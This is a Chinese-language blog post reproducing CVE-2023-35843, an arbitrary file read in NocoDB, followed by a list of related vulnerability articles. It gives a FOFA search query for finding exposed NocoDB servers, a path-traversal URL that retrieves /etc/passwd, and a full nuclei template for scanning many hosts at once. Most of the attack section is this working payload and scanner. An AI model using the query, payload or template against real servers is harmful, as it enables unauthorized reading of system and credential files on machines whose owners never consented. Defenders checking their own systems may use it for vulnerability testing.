CVE-2023-35843NocoDB 任意文件读取漏洞(CVE-2023-35843）

港控/mmm° 2024-05-23 14:15 66阅读 0赞

### CVE-2023-35843NocoDB 任意文件读取漏洞(CVE-2023-35843） ###

### 漏洞复现 ###

fofa语法：title=“NocoDB”  
![在这里插入图片描述][4a42f4ed2da04c52b057c8f4d129b161.png]  
payload:

http://xx.xx.xx.xx:xxxx/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

![在这里插入图片描述][18dc6394a6764d10995ade09913af0df.png]  
nuclei批量检测：  
![在这里插入图片描述][81caf919b70149629d516e5e1d2d0d57.png]

id: NocoDB_files_read
    info:
      name: NocoDB_files_read
      author: ab0ne
      severity: critical
      description: http://xxx.xxx.xxx/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
      metadata:
        max-request: 1
        fofa-query: title="NocoDB"
        verified: true
        CVE: CVE-2023-35843
      tags: readfile,NocoDB,cve,cve2023
    
    requests:
      - method: GET
        path:
          - "{
        {BaseURL}}/download/..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
    
        matchers-condition: and
        matchers:
          - type: status
            status:
              - 200
          - type: word
            words:
              - '/root'

[4a42f4ed2da04c52b057c8f4d129b161.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/51a9d41cd43747ff9d8a4183144890a8.png
[18dc6394a6764d10995ade09913af0df.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/ed3bec553a73411a965787c0417d4d7f.png
[81caf919b70149629d516e5e1d2d0d57.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/f1051dd6423b4e75925eb98f052702b9.png

发表评论取消回复

表情：

评论列表（有 0 条评论，66人围观）

还没有评论，来说两句吧...

相关阅读

相关 Stakater Forecastle任意文件读取漏洞（cve-2023-40297）

Stakater Forecastle是一个控制面板。它动态发现并提供一个启动板来访问部署在Kuberneters上的应用程序。

水深无声/ 2024年05月23日 14:16/ 0 赞/ 63 阅读

相关 CVE-2023-35843NocoDB 任意文件读取漏洞(CVE-2023-35843）

cve-2023-35843

港控/mmm°/ 2024年05月23日 14:15/ 0 赞/ 67 阅读

相关 cve漏洞(cve漏洞库)

怎样修复CVE-2015-5122漏洞建议腾讯电脑管家修复 1)腾讯电脑管家会智能匹配电脑系统，针对性推送适合系统的高危漏洞补丁，而其他安全软件可能推送非高危漏洞补丁

墨蓝/ 2023年09月26日 12:59/ 0 赞/ 66 阅读

相关 CVE-2021-43798——Grafana 未授权任意文件读取

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。未授权的攻击者利用该漏洞，能够获

我会带着你远行/ 2023年09月25日 20:25/ 0 赞/ 54 阅读

相关 Apache Tomcat任意文件上传漏洞(CVE-2017-12615)

一、漏洞起源 2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号：CVE-2017-12615和CVE-2017-12616。

不念不忘少年蓝@/ 2023年09月23日 23:10/ 0 赞/ 106 阅读

相关 Lanproxy 任意文件读取漏洞复现 (CVE-2021-3019)

学习文档下载 https://download.csdn.net/download/qq_41901122/14944324 文章目录漏洞

谁借莪１个温暖的怀抱￠/ 2023年01月12日 01:48/ 0 赞/ 159 阅读

相关 vulfocus——Tomcat任意写入文件漏洞(CVE-2017-12615)

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhp

痛定思痛。/ 2022年11月25日 13:23/ 0 赞/ 137 阅读

相关 couchdb 任意命令执行漏洞 cve-2017-12636

1. Couchdb简介： Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScrip

太过爱你忘了你带给我的痛/ 2021年09月07日 06:06/ 0 赞/ 463 阅读

相关 Ruby on Rails路径穿越与任意文件读取漏洞分析（CVE-2019-5418）

Ruby on Rails是一个 Web 应用程序框架,是一个相对较新的 Web 应用程序框架，构建在 Ruby 语言之上。它被宣传为现有企业框架的一个替代，而它的目标，就是让

迈不过友情╰/ 2021年09月01日 05:53/ 0 赞/ 324 阅读

相关 couchdb 任意命令执行漏洞（cve-2017-12636）

Apache CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduc

傷城~/ 2021年08月29日 12:41/ 0 赞/ 546 阅读